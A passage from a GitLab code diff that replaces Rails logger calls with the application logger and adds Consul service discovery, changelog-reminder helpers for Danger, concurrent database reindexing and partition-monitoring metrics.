end
def log_info(msg)
diff --git a/lib/gitlab/cleanup/project_upload_file_finder.rb b/lib/gitlab/cleanup/project_upload_file_finder.rb
index 3d35d474f5d..0f40f683354 100644
--- a/lib/gitlab/cleanup/project_upload_file_finder.rb
+++ b/lib/gitlab/cleanup/project_upload_file_finder.rb
@@ -49,7 +49,7 @@ module Gitlab
cmd = %W[#{ionice} -c Idle] + cmd if ionice
log_msg = "find command: \"#{cmd.join(' ')}\""
- Rails.logger.info log_msg # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info log_msg
cmd
end
diff --git a/lib/gitlab/cleanup/project_uploads.rb b/lib/gitlab/cleanup/project_uploads.rb
index 056e075cb21..77231665e7e 100644
--- a/lib/gitlab/cleanup/project_uploads.rb
+++ b/lib/gitlab/cleanup/project_uploads.rb
@@ -8,7 +8,7 @@ module Gitlab
attr_reader :logger
def initialize(logger: nil)
- @logger = logger || Rails.logger # rubocop:disable Gitlab/RailsLogger
+ @logger = logger || Gitlab::AppLogger
end
def run!(dry_run: true)
diff --git a/lib/gitlab/cleanup/remote_uploads.rb b/lib/gitlab/cleanup/remote_uploads.rb
index 42c93b7aecb..6cadb9424f7 100644
--- a/lib/gitlab/cleanup/remote_uploads.rb
+++ b/lib/gitlab/cleanup/remote_uploads.rb
@@ -7,7 +7,7 @@ module Gitlab
BATCH_SIZE = 100
def initialize(logger: nil)
- @logger = logger || Rails.logger # rubocop:disable Gitlab/RailsLogger
+ @logger = logger || Gitlab::AppLogger
end
def run!(dry_run: false)
diff --git a/lib/gitlab/consul/internal.rb b/lib/gitlab/consul/internal.rb
new file mode 100644
index 00000000000..3afc24ddab9
--- /dev/null
+++ b/lib/gitlab/consul/internal.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Consul
+ class Internal
+ Error = Class.new(StandardError)
+ UnexpectedResponseError = Class.new(Gitlab::Consul::Internal::Error)
+ SocketError = Class.new(Gitlab::Consul::Internal::Error)
+ SSLError = Class.new(Gitlab::Consul::Internal::Error)
+ ECONNREFUSED = Class.new(Gitlab::Consul::Internal::Error)
+
+ class << self
+ def api_url
+ Gitlab.config.consul.api_url.to_s.presence if Gitlab.config.consul
+ rescue Settingslogic::MissingSetting
+ Gitlab::AppLogger.error('Consul api_url is not present in config/gitlab.yml')
+
+ nil
+ end
+
+ def discover_service(service_name:)
+ return unless service_name.present? && api_url
+
+ api_path = URI.join(api_url, '/v1/catalog/service/', URI.encode_www_form_component(service_name)).to_s
+ services = json_get(api_path, allow_local_requests: true, open_timeout: 5, read_timeout: 10)
+
+ # Use the first service definition
+ service = services&.first
+
+ return unless service
+
+ service_address = service['ServiceAddress'] || service['Address']
+ service_port = service['ServicePort']
+
+ [service_address, service_port]
+ end
+
+ def discover_prometheus_server_address
+ service_address, service_port = discover_service(service_name: 'prometheus')
+
+ return unless service_address && service_port
+
+ "#{service_address}:#{service_port}"
+ end
+
+ private
+
+ def json_get(path, options)
+ response = get(path, options)
+ code = response.try(:code)
+ body = response.try(:body)
+
+ raise Consul::Internal::UnexpectedResponseError unless code == 200 && body
+
+ parse_response_body(body)
+ end
+
+ def parse_response_body(body)
+ Gitlab::Json.parse(body)
+ rescue
+ raise Consul::Internal::UnexpectedResponseError
+ end
+
+ def get(path, options)
+ Gitlab::HTTP.get(path, options)
+ rescue ::SocketError
+ raise Consul::Internal::SocketError
+ rescue OpenSSL::SSL::SSLError
+ raise Consul::Internal::SSLError
+ rescue Errno::ECONNREFUSED
+ raise Consul::Internal::ECONNREFUSED
+ rescue
+ raise Consul::Internal::UnexpectedResponseError
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/cross_project_access.rb b/lib/gitlab/cross_project_access.rb
index 4ddc7e02d1b..93baf1e596c 100644
--- a/lib/gitlab/cross_project_access.rb
+++ b/lib/gitlab/cross_project_access.rb
@@ -18,7 +18,7 @@ module Gitlab
end
def add_check(
- klass,
+ klass,
actions: {},
positive_condition: nil,
negative_condition: nil,
diff --git a/lib/gitlab/cycle_analytics/production_stage.rb b/lib/gitlab/cycle_analytics/production_stage.rb
deleted file mode 100644
index d5f2e868606..00000000000
--- a/lib/gitlab/cycle_analytics/production_stage.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module CycleAnalytics
- class ProductionStage < BaseStage
- include ProductionHelper
-
- def start_time_attrs
- @start_time_attrs ||= issue_table[:created_at]
- end
-
- def end_time_attrs
- @end_time_attrs ||= mr_metrics_table[:first_deployed_to_production_at]
- end
-
- def name
- :production
- end
-
- def title
- s_('CycleAnalyticsStage|Total')
- end
-
- def legend
- _("Related Issues")
- end
-
- def description
- _("From issue creation until deploy to production")
- end
-
- def query
- # Limit to merge requests that have been deployed to production after `@from`
- query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))
- end
- end
- end
-end
diff --git a/lib/gitlab/danger/changelog.rb b/lib/gitlab/danger/changelog.rb
index 4427c331b8e..607ca1200a0 100644
--- a/lib/gitlab/danger/changelog.rb
+++ b/lib/gitlab/danger/changelog.rb
@@ -11,8 +11,36 @@ module Gitlab
'meta'
].freeze
NO_CHANGELOG_CATEGORIES = %i[docs none].freeze
+ CREATE_CHANGELOG_COMMAND = 'bin/changelog -m %<mr_iid>s "%<mr_title>s"'
+ CREATE_EE_CHANGELOG_COMMAND = 'bin/changelog --ee -m %<mr_iid>s "%<mr_title>s"'
+ CHANGELOG_MODIFIED_URL_TEXT = "**CHANGELOG.md was edited.** Please remove the additions and create a CHANGELOG entry.\n\n"
+ CHANGELOG_MISSING_URL_TEXT = "**[CHANGELOG missing](https://docs.gitlab.com/ee/development/changelog.html)**:\n\n"
- def needed?
+ OPTIONAL_CHANGELOG_MESSAGE = <<~MSG
+ If you want to create a changelog entry for GitLab FOSS, run the following:
+
+ #{CREATE_CHANGELOG_COMMAND}
+
+ If you want to create a changelog entry for GitLab EE, run the following instead:
+
+ #{CREATE_EE_CHANGELOG_COMMAND}
+
+ If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.
+ MSG
+
+ REQUIRED_CHANGELOG_MESSAGE = <<~MSG
+ To create a changelog entry, run the following:
+
+ #{CREATE_CHANGELOG_COMMAND}
+
+ This merge request requires a changelog entry because it [introduces a database migration](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).
+ MSG
+
+ def required?
+ git.added_files.any? { |path| path =~ %r{\Adb/(migrate|post_migrate)/} }
+ end
+
+ def optional?
categories_need_changelog? && without_no_changelog_label?
end
@@ -20,16 +48,35 @@ module Gitlab
@found ||= git.added_files.find { |path| path =~ %r{\A(ee/)?(changelogs/unreleased)(-ee)?/} }
end
- def sanitized_mr_title
- gitlab.mr_json["title"].gsub(/^WIP: */, '').gsub(/`/, '\\\`')
- end
-
def ee_changelog?
found.start_with?('ee/')
end
+ def modified_text
+ CHANGELOG_MODIFIED_URL_TEXT +
+ format(OPTIONAL_CHANGELOG_MESSAGE, mr_iid: mr_iid, mr_title: sanitized_mr_title)
+ end
+
+ def required_text
+ CHANGELOG_MISSING_URL_TEXT +
+ format(REQUIRED_CHANGELOG_MESSAGE, mr_iid: mr_iid, mr_title: sanitized_mr_title)
+ end
+
+ def optional_text
+ CHANGELOG_MISSING_URL_TEXT +
+ format(OPTIONAL_CHANGELOG_MESSAGE, mr_iid: mr_iid, mr_title: sanitized_mr_title)
+ end
+
private
+ def mr_iid
+ gitlab.mr_json["iid"]
+ end
+
+ def sanitized_mr_title
+ helper.sanitize_mr_title(gitlab.mr_json["title"])
+ end
+
def categories_need_changelog?
(helper.changes_by_category.keys - NO_CHANGELOG_CATEGORIES).any?
end
diff --git a/lib/gitlab/danger/helper.rb b/lib/gitlab/danger/helper.rb
index 077c71f1233..3626ec5bf5b 100644
--- a/lib/gitlab/danger/helper.rb
+++ b/lib/gitlab/danger/helper.rb
@@ -44,7 +44,10 @@ module Gitlab
# "+ # Test change",
# "- # Old change" ]
def changed_lines(changed_file)
- git.diff_for_file(changed_file).patch.split("\n").select { |line| %r{^[+-]}.match?(line) }
+ diff = git.diff_for_file(changed_file)
+ return [] unless diff
+
+ diff.patch.split("\n").select { |line| %r{^[+-]}.match?(line) }
end
def all_ee_changes
@@ -171,6 +174,7 @@ module Gitlab
%r{\A(ee/)?scripts/} => :engineering_productivity,
%r{\Atooling/} => :engineering_productivity,
%r{(CODEOWNERS)} => :engineering_productivity,
+ %r{(tests.yml)} => :engineering_productivity,
%r{\A(ee/)?spec/features/} => :test,
%r{\A(ee/)?spec/support/shared_examples/features/} => :test,
@@ -191,6 +195,7 @@ module Gitlab
# Files that don't fit into any category are marked with :none
%r{\A(ee/)?changelogs/} => :none,
%r{\Alocale/gitlab\.pot\z} => :none,
+ %r{\Adata/whats_new/} => :none,
# Fallbacks in case the above patterns miss anything
%r{\.rb\z} => :backend,
@@ -205,16 +210,6 @@ module Gitlab
usernames.map { |u| Gitlab::Danger::Teammate.new('username' => u) }
end
- def missing_database_labels(current_mr_labels)
- labels = if has_database_scoped_labels?(current_mr_labels)
- ['database']
- else
- ['database', 'database::review pending']
- end
-
- labels - current_mr_labels
- end
-
def sanitize_mr_title(title)
title.gsub(DRAFT_REGEX, '').gsub(/`/, '\\\`')
end
@@ -258,8 +253,6 @@ module Gitlab
all_changed_files.grep(regex)
end
- private
-
def has_database_scoped_labels?(current_mr_labels)
current_mr_labels.any? { |label| label.start_with?('database::') }
end
diff --git a/lib/gitlab/danger/roulette.rb b/lib/gitlab/danger/roulette.rb
index 2e6181d1cab..a6866868e6c 100644
--- a/lib/gitlab/danger/roulette.rb
+++ b/lib/gitlab/danger/roulette.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require_relative 'teammate'
-require_relative 'request_helper'
+require_relative 'request_helper' unless defined?(Gitlab::Danger::RequestHelper)
module Gitlab
module Danger
diff --git a/lib/gitlab/danger/teammate.rb b/lib/gitlab/danger/teammate.rb
index 9b389907090..ebd96be40d7 100644
--- a/lib/gitlab/danger/teammate.rb
+++ b/lib/gitlab/danger/teammate.rb
@@ -45,9 +45,7 @@ module Gitlab
has_capability?(project, category, :maintainer, labels)
end
- def markdown_name(timezone_experiment: false, author: nil)
- return @markdown_name unless timezone_experiment
-
+ def markdown_name(author: nil)
"#{@markdown_name} (#{utc_offset_text(author)})"
end
diff --git a/lib/gitlab/data_builder/push.rb b/lib/gitlab/data_builder/push.rb
index af363705bed..f941c57a6dd 100644
--- a/lib/gitlab/data_builder/push.rb
+++ b/lib/gitlab/data_builder/push.rb
@@ -86,7 +86,7 @@ module Gitlab
#
# rubocop:disable Metrics/ParameterLists
def build(
- project:, user:, ref:, oldrev: nil, newrev: nil,
+ project:, user:, ref:, oldrev: nil, newrev: nil,
commits: [], commits_count: nil, message: nil, push_options: {},
with_changed_files: true)
diff --git a/lib/gitlab/database.rb b/lib/gitlab/database.rb
index 990c940d200..accc6330253 100644
--- a/lib/gitlab/database.rb
+++ b/lib/gitlab/database.rb
@@ -335,7 +335,7 @@ module Gitlab
end
rescue Prometheus::Client::LabelSetValidator::LabelSetError => err
# Ensure that errors in recording these metrics don't affect the operation of the application
- Rails.logger.error("Unable to observe database transaction duration: #{err}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("Unable to observe database transaction duration: #{err}")
end
# MonkeyPatch for ActiveRecord::Base for adding observability
diff --git a/lib/gitlab/database/background_migration_job.rb b/lib/gitlab/database/background_migration_job.rb
index 445735b232a..1b9d7cbc9a1 100644
--- a/lib/gitlab/database/background_migration_job.rb
+++ b/lib/gitlab/database/background_migration_job.rb
@@ -3,6 +3,8 @@
module Gitlab
module Database
class BackgroundMigrationJob < ActiveRecord::Base # rubocop:disable Rails/ApplicationRecord
+ include EachBatch
+
self.table_name = :background_migration_jobs
scope :for_migration_class, -> (class_name) { where(class_name: normalize_class_name(class_name)) }
diff --git a/lib/gitlab/database/concurrent_reindex.rb b/lib/gitlab/database/concurrent_reindex.rb
new file mode 100644
index 00000000000..485ab35e55d
--- /dev/null
+++ b/lib/gitlab/database/concurrent_reindex.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ class ConcurrentReindex
+ include Gitlab::Utils::StrongMemoize
+ include MigrationHelpers
+
+ ReindexError = Class.new(StandardError)
+
+ PG_IDENTIFIER_LENGTH = 63
+ TEMPORARY_INDEX_PREFIX = 'tmp_reindex_'
+ REPLACED_INDEX_PREFIX = 'old_reindex_'
+
+ attr_reader :index_name, :logger
+
+ def initialize(index_name, logger:)
+ @index_name = index_name
+ @logger = logger
+ end
+
+ def execute
+ raise ReindexError, "index #{index_name} does not exist" unless index_exists?
+
+ raise ReindexError, 'UNIQUE indexes are currently not supported' if index_unique?
+
+ logger.debug("dropping dangling index from previous run: #{replacement_index_name}")
+ remove_replacement_index
+
+ begin
+ create_replacement_index
+
+ unless replacement_index_valid?
+ message = 'replacement index was created as INVALID'
+ logger.error("#{message}, cleaning up")
+ raise ReindexError, "failed to reindex #{index_name}: #{message}"
+ end
+
+ swap_replacement_index
+ rescue Gitlab::Database::WithLockRetries::AttemptsExhaustedError => e
+ logger.error('failed to obtain the required database locks to swap the indexes, cleaning up')
+ raise ReindexError, e.message
+ rescue ActiveRecord::ActiveRecordError, PG::Error => e
+ logger.error("database error while attempting reindex of #{index_name}: #{e.message}")
+ raise ReindexError, e.message
+ ensure
+ logger.info("dropping unneeded replacement index: #{replacement_index_name}")
+ remove_replacement_index
+ end
+ end
+
+ private
+
+ def connection
+ @connection ||= ActiveRecord::Base.connection
+ end
+
+ def replacement_index_name
+ @replacement_index_name ||= constrained_index_name(TEMPORARY_INDEX_PREFIX)
+ end
+
+ def index
+ strong_memoize(:index) do
+ find_index(index_name)
+ end
+ end
+
+ def index_exists?
+ !index.nil?
+ end
+
+ def index_unique?
+ index.indisunique
+ end
+
+ def constrained_index_name(prefix)
+ "#{prefix}#{index_name}".slice(0, PG_IDENTIFIER_LENGTH)
+ end
+
+ def create_replacement_index
+ create_replacement_index_statement = index.indexdef
+ .sub(/CREATE INDEX/, 'CREATE INDEX CONCURRENTLY')
+ .sub(/#{index_name}/, replacement_index_name)
+
+ logger.info("creating replacement index #{replacement_index_name}")
+ logger.debug("replacement index definition: #{create_replacement_index_statement}")
+
+ disable_statement_timeout do
+ connection.execute(create_replacement_index_statement)
+ end
+ end
+
+ def replacement_index_valid?
+ find_index(replacement_index_name).indisvalid
+ end
+
+ def find_index(index_name)
+ record = connection.select_one(<<~SQL)
+ SELECT
+ pg_index.indisunique,
+ pg_index.indisvalid,
+ pg_indexes.indexdef
+ FROM pg_index
+ INNER JOIN pg_class ON pg_class.oid = pg_index.indexrelid
+ INNER JOIN pg_namespace ON pg_class.relnamespace = pg_namespace.oid
+ INNER JOIN pg_indexes ON pg_class.relname = pg_indexes.indexname
+ WHERE pg_namespace.nspname = 'public'
+ AND pg_class.relname = #{connection.quote(index_name)}
+ SQL
+
+ OpenStruct.new(record) if record
+ end
+
+ def swap_replacement_index
+ replaced_index_name = constrained_index_name(REPLACED_INDEX_PREFIX)
+
+ logger.info("swapping replacement index #{replacement_index_name} with #{index_name}")
+
+ with_lock_retries do
+ rename_index(index_name, replaced_index_name)
+ rename_index(replacement_index_name, index_name)
+ rename_index(replaced_index_name, replacement_index_name)
+ end
+ end
+
+ def rename_index(old_index_name, new_index_name)
+ connection.execute("ALTER INDEX #{old_index_name} RENAME TO #{new_index_name}")
+ end
+
+ def remove_replacement_index
+ disable_statement_timeout do
+ connection.execute("DROP INDEX CONCURRENTLY IF EXISTS #{replacement_index_name}")
+ end
+ end
+
+ def with_lock_retries(&block)
+ arguments = { klass: self.class, logger: logger }
+
+ Gitlab::Database::WithLockRetries.new(arguments).run(raise_on_exhaustion: true, &block)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/custom_structure.rb b/lib/gitlab/database/custom_structure.rb
index c5a76c5a787..e4404e73a63 100644
--- a/lib/gitlab/database/custom_structure.rb
+++ b/lib/gitlab/database/custom_structure.rb
@@ -8,8 +8,7 @@ module Gitlab
def dump
File.open(self.class.custom_dump_filepath, 'wb') do |io|
io << "-- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables\n"
- io << "-- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872\n"
- io << "SET search_path=public;\n\n"
+ io << "-- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872\n\n"
dump_partitioned_foreign_keys(io) if partitioned_foreign_keys_exist?
end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index b62b6e20dd5..723f0f6a308 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -87,7 +87,7 @@ module Gitlab
options = options.merge({ algorithm: :concurrently })
if index_exists?(table_name, column_name, options)
- Rails.logger.warn "Index not created because it already exists (this may be due to an aborted migration or similar): table_name: #{table_name}, column_name: #{column_name}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "Index not created because it already exists (this may be due to an aborted migration or similar): table_name: #{table_name}, column_name: #{column_name}"
return
end
@@ -113,7 +113,7 @@ module Gitlab
options = options.merge({ algorithm: :concurrently })
unless index_exists?(table_name, column_name, options)
- Rails.logger.warn "Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: #{table_name}, column_name: #{column_name}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: #{table_name}, column_name: #{column_name}"
return
end
@@ -143,7 +143,7 @@ module Gitlab
options = options.merge({ algorithm: :concurrently })
unless index_exists_by_name?(table_name, index_name)
- Rails.logger.warn "Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: #{table_name}, index_name: #{index_name}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: #{table_name}, index_name: #{index_name}"
return
end
@@ -163,7 +163,6 @@ module Gitlab
# defaults to "CASCADE".
# name - The name of the foreign key.
#
- # rubocop:disable Gitlab/RailsLogger
def add_concurrent_foreign_key(source, target, column:, on_delete: :cascade, name: nil, validate: true)
# Transactions would result in ALTER TABLE locks being held for the
# duration of the transaction, defeating the purpose of this method.
@@ -183,7 +182,7 @@ module Gitlab
"source: #{source}, target: #{target}, column: #{options[:column]}, "\
"name: #{options[:name]}, on_delete: #{options[:on_delete]}"
- Rails.logger.warn warning_message
+ Gitlab::AppLogger.warn warning_message
else
# Using NOT VALID allows us to create a key without immediately
# validating it. This means we keep the ALTER TABLE lock only for a
@@ -217,7 +216,6 @@ module Gitlab
end
end
end
- # rubocop:enable Gitlab/RailsLogger
def validate_foreign_key(source, column, name: nil)
fk_name = name || concurrent_foreign_key_name(source, column)
@@ -540,10 +538,10 @@ module Gitlab
# table - The table containing the column.
# column - The name of the column to change.
# new_type - The new column type.
- def change_column_type_concurrently(table, column, new_type, type_cast_function: nil)
+ def change_column_type_concurrently(table, column, new_type, type_cast_function: nil, batch_column_name: :id)
temp_column = "#{column}_for_type_change"
- rename_column_concurrently(table, column, temp_column, type: new_type, type_cast_function: type_cast_function)
+ rename_column_concurrently(table, column, temp_column, type: new_type, type_cast_function: type_cast_function, batch_column_name: batch_column_name)
end
# Performs cleanup of a concurrent type change.
@@ -1085,7 +1083,6 @@ into similar problems in the future (e.g. when new tables are created).
# Should be unique per table (not per column)
# validate - Whether to validate the constraint in this call
#
- # rubocop:disable Gitlab/RailsLogger
def add_check_constraint(table, check, constraint_name, validate: true)
validate_check_constraint_name!(constraint_name)
@@ -1102,7 +1099,7 @@ into similar problems in the future (e.g. when new tables are created).
table: #{table}, check: #{check}, constraint name: #{constraint_name}
MESSAGE
- Rails.logger.warn warning_message
+ Gitlab::AppLogger.warn warning_message
else
# Only add the constraint without validating it
# Even though it is fast, ADD CONSTRAINT requires an EXCLUSIVE lock
@@ -1187,7 +1184,7 @@ into similar problems in the future (e.g. when new tables are created).
column #{table}.#{column} is already defined as `NOT NULL`
MESSAGE
- Rails.logger.warn warning_message
+ Gitlab::AppLogger.warn warning_message
end
end
diff --git a/lib/gitlab/database/partitioning/partition_monitoring.rb b/lib/gitlab/database/partitioning/partition_monitoring.rb
new file mode 100644
index 00000000000..9ec9ae684a5
--- /dev/null
+++ b/lib/gitlab/database/partitioning/partition_monitoring.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Partitioning
+ class PartitionMonitoring
+ attr_reader :models
+
+ def initialize(models = PartitionCreator.models)
+ @models = models
+ end
+
+ def report_metrics
+ models.each do |model|
+ strategy = model.partitioning_strategy
+
+ gauge_present.set({ table: model.table_name }, strategy.current_partitions.size)
+ gauge_missing.set({ table: model.table_name }, strategy.missing_partitions.size)
+ end
+ end
+
+ private
+
+ def gauge_present
+ @gauge_present ||= Gitlab::Metrics.gauge(:db_partitions_present, 'Number of database partitions present')
+ end
+
+ def gauge_missing
+ @gauge_missing ||= Gitlab::Metrics.gauge(:db_partitions_missing, 'Number of database partitions currently expected, but not present')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
index 1fb9476b7d9..2def3a4d3a9 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
@@ -31,7 +31,7 @@ module Gitlab
current_keys << specified_key
else
- Rails.logger.warn "foreign key not added because it already exists: #{specified_key}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "foreign key not added because it already exists: #{specified_key}"
current_keys
end
end
@@ -56,7 +56,7 @@ module Gitlab
existing_key.delete
current_keys.delete(existing_key)
else
- Rails.logger.warn "foreign key not removed because it doesn't exist: #{specified_key}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "foreign key not removed because it doesn't exist: #{specified_key}"
end
current_keys
diff --git a/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
index 84b6fb9f76e..f7b0306b769 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
@@ -6,6 +6,7 @@ module Gitlab
module TableManagementHelpers
include ::Gitlab::Database::SchemaHelpers
include ::Gitlab::Database::DynamicModelHelpers
+ include ::Gitlab::Database::MigrationHelpers
include ::Gitlab::Database::Migrations::BackgroundMigrationHelpers
ALLOWED_TABLES = %w[audit_events].freeze
@@ -15,6 +16,12 @@ module Gitlab
BATCH_INTERVAL = 2.minutes.freeze
BATCH_SIZE = 50_000
+ JobArguments = Struct.new(:start_id, :stop_id, :source_table_name, :partitioned_table_name, :source_column) do
+ def self.from_array(arguments)
+ self.new(*arguments)
+ end
+ end
+
# Creates a partitioned copy of an existing table, using a RANGE partitioning strategy on a timestamp column.
# One partition is created per month between the given `min_date` and `max_date`. Also installs a trigger on
# the original table to copy writes into the partitioned table. To copy over historic data from before creation
@@ -134,6 +141,42 @@ module Gitlab
end
end
+ # Executes cleanup tasks from a previous BackgroundMigration to backfill a partitioned table by finishing
+ # pending jobs and performing a final data synchronization.
+ # This performs two steps:
+ # 1. Wait to finish any pending BackgroundMigration jobs that have not succeeded
+ # 2. Inline copy any missed rows from the original table to the partitioned table
+ #
+ # **NOTE** Migrations using this method cannot be scheduled in the same release as the migration that
+ # schedules the background migration using the `enqueue_background_migration` helper, or else the
+ # background migration jobs will be force-executed.
+ #
+ # Example:
+ #
+ # finalize_backfilling_partitioned_table :audit_events
+ #
+ def finalize_backfilling_partitioned_table(table_name)
+ assert_table_is_allowed(table_name)
+ assert_not_in_transaction_block(scope: ERROR_SCOPE)
+
+ partitioned_table_name = make_partitioned_table_name(table_name)
+ unless table_exists?(partitioned_table_name)
+ raise "could not find partitioned table for #{table_name}, " \
+ "this could indicate the previous partitioning migration has been rolled back."
+ end
+
+ Gitlab::BackgroundMigration.steal(MIGRATION_CLASS_NAME) do |raw_arguments|
+ JobArguments.from_array(raw_arguments).source_table_name == table_name.to_s
+ end
+
+ primary_key = connection.primary_key(table_name)
+ copy_missed_records(table_name, partitioned_table_name, primary_key)
+
+ disable_statement_timeout do
+ execute("VACUUM FREEZE ANALYZE #{partitioned_table_name}")
+ end
+ end
+
private
def assert_table_is_allowed(table_name)
@@ -161,10 +204,8 @@ module Gitlab
def create_range_partitioned_copy(source_table_name, partitioned_table_name, partition_column, primary_key)
if table_exists?(partitioned_table_name)
- # rubocop:disable Gitlab/RailsLogger
- Rails.logger.warn "Partitioned table not created because it already exists" \
+ Gitlab::AppLogger.warn "Partitioned table not created because it already exists" \
" (this may be due to an aborted migration or similar): table_name: #{partitioned_table_name} "
- # rubocop:enable Gitlab/RailsLogger
return
end
@@ -217,10 +258,8 @@ module Gitlab
def create_range_partition_safely(partition_name, table_name, lower_bound, upper_bound)
if table_exists?(table_for_range_partition(partition_name))
- # rubocop:disable Gitlab/RailsLogger
- Rails.logger.warn "Partition not created because it already exists" \
+ Gitlab::AppLogger.warn "Partition not created because it already exists" \
" (this may be due to an aborted migration or similar): partition_name: #{partition_name}"
- # rubocop:enable Gitlab/RailsLogger
return
end
@@ -241,10 +280,8 @@ module Gitlab
def create_sync_function(name, partitioned_table_name, unique_key)
if function_exists?(name)
- # rubocop:disable Gitlab/RailsLogger
- Rails.logger.warn "Partitioning sync function not created because it already exists" \
+ Gitlab::AppLogger.warn "Partitioning sync function not created because it already exists" \
" (this may be due to an aborted migration or similar): function name: #{name}"
- # rubocop:enable Gitlab/RailsLogger
return
end
@@ -276,17 +313,15 @@ module Gitlab
def create_sync_trigger(table_name, trigger_name, function_name)
if trigger_exists?(table_name, trigger_name)
- # rubocop:disable Gitlab/RailsLogger
- Rails.logger.warn "Partitioning sync trigger not created because it already exists" \
+ Gitlab::AppLogger.warn "Partitioning sync trigger not created because it already exists" \
" (this may be due to an aborted migration or similar): trigger name: #{trigger_name}"
- # rubocop:enable Gitlab/RailsLogger
return
end
create_trigger(table_name, trigger_name, function_name, fires: 'AFTER INSERT OR UPDATE OR DELETE')
end
- def enqueue_background_migration(source_table_name, partitioned_table_name, source_key)
+ def enqueue_background_migration(source_table_name, partitioned_table_name, source_column)
source_model = define_batchable_model(source_table_name)
queue_background_migration_jobs_by_range_at_intervals(
@@ -294,13 +329,35 @@ module Gitlab
MIGRATION_CLASS_NAME,
BATCH_INTERVAL,
batch_size: BATCH_SIZE,
- other_job_arguments: [source_table_name.to_s, partitioned_table_name, source_key],
+ other_job_arguments: [source_table_name.to_s, partitioned_table_name, source_column],
track_jobs: true)
end
def cleanup_migration_jobs(table_name)
::Gitlab::Database::BackgroundMigrationJob.for_partitioning_migration(MIGRATION_CLASS_NAME, table_name).delete_all
end
+
+ def copy_missed_records(source_table_name, partitioned_table_name, source_column)
+ backfill_table = BackfillPartitionedTable.new
+ relation = ::Gitlab::Database::BackgroundMigrationJob.pending
+ .for_partitioning_migration(MIGRATION_CLASS_NAME, source_table_name)
+
+ relation.each_batch do |batch|
+ batch.each do |pending_migration_job|
+ job_arguments = JobArguments.from_array(pending_migration_job.arguments)
+ start_id = job_arguments.start_id
+ stop_id = job_arguments.stop_id
+
+ say("Backfilling data into partitioned table for ids from #{start_id} to #{stop_id}")
+ job_updated_count = backfill_table.perform(start_id, stop_id, source_table_name,
+ partitioned_table_name, source_column)
+
+ unless job_updated_count > 0
+ raise "failed to update tracking record for ids from #{start_id} to #{stop_id}"
+ end
+ end
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb b/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb
index 4fbbfdc4914..562e651cabc 100644
--- a/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb
+++ b/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb
@@ -71,7 +71,7 @@ module Gitlab
unless gitlab_shell.mv_namespace(repository_storage, old_full_path, new_full_path)
message = "Exception moving on shard #{repository_storage} from #{old_full_path} to #{new_full_path}"
- Rails.logger.error message # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error message
end
end
end
diff --git a/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb b/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb
index 8b92b296408..5dbf30bad4e 100644
--- a/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb
+++ b/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb
@@ -56,7 +56,7 @@ module Gitlab
unless gitlab_shell.mv_repository(project.repository_storage,
old_path,
new_path)
- Rails.logger.error "Error moving #{old_path} to #{new_path}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "Error moving #{old_path} to #{new_path}"
end
end
diff --git a/lib/gitlab/database/schema_cleaner.rb b/lib/gitlab/database/schema_cleaner.rb
index 7c415287878..8f93da2b66c 100644
--- a/lib/gitlab/database/schema_cleaner.rb
+++ b/lib/gitlab/database/schema_cleaner.rb
@@ -18,11 +18,18 @@ module Gitlab
structure.gsub!(/^SELECT pg_catalog\.set_config\('search_path'.+/, '')
structure.gsub!(/^--.*/, "\n")
- structure = "SET search_path=public;\n" + structure
+ # We typically don't assume we're working with the public schema.
